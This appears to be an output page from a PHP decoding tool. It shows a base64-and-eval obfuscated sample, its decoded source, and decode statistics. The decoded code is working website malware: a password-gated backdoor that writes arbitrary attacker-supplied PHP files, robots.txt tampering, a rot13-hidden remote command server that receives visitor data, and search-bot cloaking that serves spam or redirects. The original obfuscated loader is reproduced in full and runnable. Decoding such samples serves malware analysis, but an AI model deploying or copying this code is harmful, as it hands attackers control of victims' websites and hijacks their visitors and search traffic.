Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a =base64_decode('QHNldF90aW1lX2xpbWl0KDM2MDApOw0KQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0K..

Decoded Output download

@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%70%6B%72%64%68%72%61%70%74%72%2E%79%7A%62%65%6E%79%61%74%66%2E%67%62%63';




$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}

$goweb = str_rot13(urldecode($xmlname));
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}

$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = urlencode($urlshang);
}
$password = sha1(sha1(@$_GET['pd']));
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
    $add_content = @$_GET['mapname'];
    $action = @$_GET['action'];
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
        $path = $_SERVER['DOCUMENT_ROOT'];
    } else {
        $path = dirname(__FILE__);
    }
    if (!$action) {
        $action = 'put';
    }
    if ($action == 'put') {
        if (strstr($add_content, '.xml')) {
            $map_path = $path. '/sitemap.xml';
            if (is_file($map_path)) {
                @unlink($map_path);
            }
            $file_path = $path . '/robots.txt';
            if (file_exists($file_path)) {
                $data = doutdo($file_path);
            } else {
                $data = 'User-agent: *
Allow: /';
            }
            $sitmap_url = $http . '://' . $host . '/' . $add_content;
            if (stristr($data, $sitmap_url)) {
                echo '<br>sitemap already added!<br>';
            } else {
                if (file_put_contents($file_path, trim($data) . "
" . 'Sitemap: '.$sitmap_url)) {
                    echo '<br>ok<br>';
                } else {
                    echo '<br>file write false!<br>';
                }
            }
        } else {
            echo '<br>sitemap name false!<br>';
        }
        if (strstr($add_content, '.p' . 'hp')) {
            $a = sha1(sha1(@$_GET['a']));
            $b = sha1(sha1(@$_GET['b']));
            if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
                $dstr = @$_GET['dstr'];
                if (file_put_contents($path . '/' . $add_content, $dstr)) {
                    echo 'ok';
                }
            }
        }
    }
    exit;
}

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $path = $_SERVER['DOCUMENT_ROOT'];
} else {
    $path = dirname(__FILE__);
}
if(is_dir($path. '/wp-includes')){
	$fpath = 'wp-includes/css';
}else{
	$fpath = 'css';
}
$dpath = $path. '/'.$fpath;
if(substr($host,0,4)=='www.'){
    $host_nw = substr($host, 4);
}else{
	$host_nw = $host;
}
$cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css';
$ps = $path. '/'.$fpath.'/'.$cssn;
$urlc = $http_web . '://' . $goweb . '/temp/style.css';

function ping_sitemap($url){
    $url_arr = explode("
", trim($url));
    $return_str = '';
    foreach($url_arr as $pingUrl){
        $pingRes = doutdo($pingUrl);
        $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
        $return_str .= $pingUrl . '-- ' . $ok . '<br>';
    }
    return $return_str;
}
function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}
function doutdo($url)
{
    $file_contents= '';
    if(function_exists('curl_init')){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}
function fcss($dpath,$ps,$urlc){
    if(is_dir($dpath)){
        if(!file_exists($ps)){
            @file_put_contents($ps,doutdo($urlc));
        }
    }else{
        if(@mkdir($dpath)){
            if(!file_exists($ps)){
                @file_put_contents($ps,doutdo($urlc));
            }
        }
    }
}
if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){
    fcss($dpath,$ps,$urlc);
}
if(is_file($ps)){
	$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&css=1';
}else{
	$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
}
$html_content = trim(doutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        if(file_exists($ps)){
            $lcss_str = file_get_contents($ps);
			$html_content = str_replace("[##linkcss##]", '<style>'.$lcss_str.'</style>', $html_content);
        }else{
            $html_content = str_replace("[##linkcss##]", '', $html_content);
        }
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'pingxmlgetcontent')){
        $html_content = str_replace("pingxmlgetcontent", '', $html_content);
        fcss($dpath,$ps,$urlc);
        @header("Content-type: text/html; charset=utf-8");
        echo ping_sitemap($html_content);
        exit();
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        exit();
    }
}/* blog B298 */

Did this file decode correctly?

Original Code

<?php
$a =base64_decode('QHNldF90aW1lX2xpbWl0KDM2MDApOw0KQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KJHhtbG5hbWUgPSAnJTcwJTZCJTcyJTY0JTY4JTcyJTYxJTcwJTc0JTcyJTJFJTc5JTdBJTYyJTY1JTZFJTc5JTYxJTc0JTY2JTJFJTY3JTYyJTYzJzsNCg0KDQoNCg0KJGh0dHBfd2ViID0gJ2h0dHAnOw0KaWYgKGlzX2h0dHBzKCkpIHsNCiAgICAkaHR0cCA9ICdodHRwcyc7DQp9IGVsc2Ugew0KICAgICRodHRwID0gJ2h0dHAnOw0KfQ0KJGR1cmlfdG1wID0gZHJlcXVlc3RfdXJpKCk7DQppZiAoJGR1cmlfdG1wID09ICcnKXsNCiAgICAkZHVyaV90bXAgPSAnLyc7DQp9DQokZHVyaSA9IHVybGVuY29kZSgkZHVyaV90bXApOw0KZnVuY3Rpb24gZHJlcXVlc3RfdXJpKCkNCnsNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7DQogICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7DQogICAgICAgICAgICAkZHVyaSA9ICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ2FyZ3YnXVswXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICRkdXJpOw0KfQ0KDQokZ293ZWIgPSBzdHJfcm90MTModXJsZGVjb2RlKCR4bWxuYW1lKSk7DQpmdW5jdGlvbiBpc19odHRwcygpDQp7DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQokbGFuZyA9IEAkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXTsNCiRsYW5nID0gdXJsZW5jb2RlKCRsYW5nKTsNCiR1cmxzaGFuZyA9ICcnOw0KaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsNCiAgICAkdXJsc2hhbmcgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQogICAgJHVybHNoYW5nID0gdXJsZW5jb2RlKCR1cmxzaGFuZyk7DQp9DQokcGFzc3dvcmQgPSBzaGExKHNoYTEoQCRfR0VUWydwZCddKSk7DQppZiAoJHBhc3N3b3JkID09ICdmNzVmZDVhY2QzNmE3ZmJkMWUyMTliMTk4ODFhNTM0OGJmYzY2ZTc5Jykgew0KICAgICRhZGRfY29udGVudCA9IEAkX0dFVFsnbWFwbmFtZSddOw0KICAgICRhY3Rpb24gPSBAJF9HRVRbJ2FjdGlvbiddOw0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkgew0KICAgICAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsNCiAgICB9DQogICAgaWYgKCEkYWN0aW9uKSB7DQogICAgICAgICRhY3Rpb24gPSAncHV0JzsNCiAgICB9DQogICAgaWYgKCRhY3Rpb24gPT0gJ3B1dCcpIHsNCiAgICAgICAgaWYgKHN0cnN0cigkYWRkX2NvbnRlbnQsICcueG1sJykpIHsNCiAgICAgICAgICAgICRtYXBfcGF0aCA9ICRwYXRoLiAnL3NpdGVtYXAueG1sJzsNCiAgICAgICAgICAgIGlmIChpc19maWxlKCRtYXBfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBAdW5saW5rKCRtYXBfcGF0aCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnL3JvYm90cy50eHQnOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBkb3V0ZG8oJGZpbGVfcGF0aCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRkYXRhID0gJ1VzZXItYWdlbnQ6ICoNCkFsbG93OiAvJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzaXRtYXBfdXJsID0gJGh0dHAgLiAnOi8vJyAuICRob3N0IC4gJy8nIC4gJGFkZF9jb250ZW50Ow0KICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGRhdGEsICRzaXRtYXBfdXJsKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJzxicj5zaXRlbWFwIGFscmVhZHkgYWRkZWQhPGJyPic7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCB0cmltKCRkYXRhKSAuICJcclxuIiAuICdTaXRlbWFwOiAnLiRzaXRtYXBfdXJsKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+b2s8YnI+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+ZmlsZSB3cml0ZSBmYWxzZSE8YnI+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICc8YnI+c2l0ZW1hcCBuYW1lIGZhbHNlITxicj4nOw0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGFkZF9jb250ZW50LCAnLnAnIC4gJ2hwJykpIHsNCiAgICAgICAgICAgICRhID0gc2hhMShzaGExKEAkX0dFVFsnYSddKSk7DQogICAgICAgICAgICAkYiA9IHNoYTEoc2hhMShAJF9HRVRbJ2InXSkpOw0KICAgICAgICAgICAgaWYgKCRhID09IGRvdXRkbygkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvYS5wJyAuICdocCcpIHx8ICRiID09ICdmOGYwZGFlODA0MzY4YzAzMzRlMjJkOWRjYjcwZDNjN2JiZmE5NjM1Jykgew0KICAgICAgICAgICAgICAgICRkc3RyID0gQCRfR0VUWydkc3RyJ107DQogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoIC4gJy8nIC4gJGFkZF9jb250ZW50LCAkZHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnb2snOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQp9IGVsc2Ugew0KICAgICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7DQp9DQppZihpc19kaXIoJHBhdGguICcvd3AtaW5jbHVkZXMnKSl7DQoJJGZwYXRoID0gJ3dwLWluY2x1ZGVzL2Nzcyc7DQp9ZWxzZXsNCgkkZnBhdGggPSAnY3NzJzsNCn0NCiRkcGF0aCA9ICRwYXRoLiAnLycuJGZwYXRoOw0KaWYoc3Vic3RyKCRob3N0LDAsNCk9PSd3d3cuJyl7DQogICAgJGhvc3RfbncgPSBzdWJzdHIoJGhvc3QsIDQpOw0KfWVsc2V7DQoJJGhvc3RfbncgPSAkaG9zdDsNCn0NCiRjc3NuID0gc3RyX3JvdDEzKHN1YnN0cigkaG9zdF9udywwLDMpLnN1YnN0cigkZ293ZWIsMCwzKSkuJy5jc3MnOw0KJHBzID0gJHBhdGguICcvJy4kZnBhdGguJy8nLiRjc3NuOw0KJHVybGMgPSAkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvdGVtcC9zdHlsZS5jc3MnOw0KDQpmdW5jdGlvbiBwaW5nX3NpdGVtYXAoJHVybCl7DQogICAgJHVybF9hcnIgPSBleHBsb2RlKCJcclxuIiwgdHJpbSgkdXJsKSk7DQogICAgJHJldHVybl9zdHIgPSAnJzsNCiAgICBmb3JlYWNoKCR1cmxfYXJyIGFzICRwaW5nVXJsKXsNCiAgICAgICAgJHBpbmdSZXMgPSBkb3V0ZG8oJHBpbmdVcmwpOw0KICAgICAgICAkb2sgPSAoc3RycG9zKCRwaW5nUmVzLCAnU2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQnKSAhPT0gZmFsc2UpID8gJ3BpbmdvaycgOiAnZXJyb3InOw0KICAgICAgICAkcmV0dXJuX3N0ciAuPSAkcGluZ1VybCAuICctLSAnIC4gJG9rIC4gJzxicj4nOw0KICAgIH0NCiAgICByZXR1cm4gJHJldHVybl9zdHI7DQp9DQpmdW5jdGlvbiBkaXNib3QoKQ0Kew0KICAgICR1QWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgaWYgKHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZScpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ0dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9DQpmdW5jdGlvbiBkb3V0ZG8oJHVybCkNCnsNCiAgICAkZmlsZV9jb250ZW50cz0gJyc7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7DQogICAgICAgICRmaWxlX2NvbnRlbnRzID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgaWYgKCEkZmlsZV9jb250ZW50cykgew0KICAgICAgICAkZmlsZV9jb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICB9DQogICAgcmV0dXJuICRmaWxlX2NvbnRlbnRzOw0KfQ0KZnVuY3Rpb24gZmNzcygkZHBhdGgsJHBzLCR1cmxjKXsNCiAgICBpZihpc19kaXIoJGRwYXRoKSl7DQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkcHMpKXsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcHMsZG91dGRvKCR1cmxjKSk7DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgaWYoQG1rZGlyKCRkcGF0aCkpew0KICAgICAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRwcykpew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcHMsZG91dGRvKCR1cmxjKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQppZigkZHVyaV90bXA9PScvJyB8fCBzdHJzdHIoJGR1cmlfdG1wLCAnZXd0dG0nKSl7DQogICAgZmNzcygkZHBhdGgsJHBzLCR1cmxjKTsNCn0NCmlmKGlzX2ZpbGUoJHBzKSl7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmcuICcmY3NzPTEnOw0KfWVsc2V7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmc7DQp9DQokaHRtbF9jb250ZW50ID0gdHJpbShkb3V0ZG8oJHdlYikpOw0KaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsNCiAgICBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva2h0bWxnZXRjb250ZW50JykpIHsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCiAgICAgICAgaWYoZmlsZV9leGlzdHMoJHBzKSl7DQogICAgICAgICAgICAkbGNzc19zdHIgPSBmaWxlX2dldF9jb250ZW50cygkcHMpOw0KCQkJJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJbIyNsaW5rY3NzIyNdIiwgJzxzdHlsZT4nLiRsY3NzX3N0ci4nPC9zdHlsZT4nLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlsjI2xpbmtjc3MjI10iLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIH0NCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZihzdHJzdHIoJGh0bWxfY29udGVudCwgJ29reG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva3htbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC94bWwiKTsNCiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50Ow0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdwaW5neG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJwaW5neG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZmNzcygkZHBhdGgsJHBzLCR1cmxjKTsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCiAgICAgICAgZWNobyBwaW5nX3NpdGVtYXAoJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7DQogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQ0MDRwYWdlJykpIHsNCiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDMwMXBhZ2UnKSkgew0KICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJnZXRjb250ZW50MzAxcGFnZSIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KfS8qIGJsb2cgQjI5OCAqLw==');
eval($a);
?>

Function Calls

base64_decode 1

Variables

$a @set_time_limit(3600); @ignore_user_abort(1); $xmlname = '..

Stats

MD5 5eb316b296ccc3f05a21c1224e2c6ec9
Eval Count 1
Decode Time 81 ms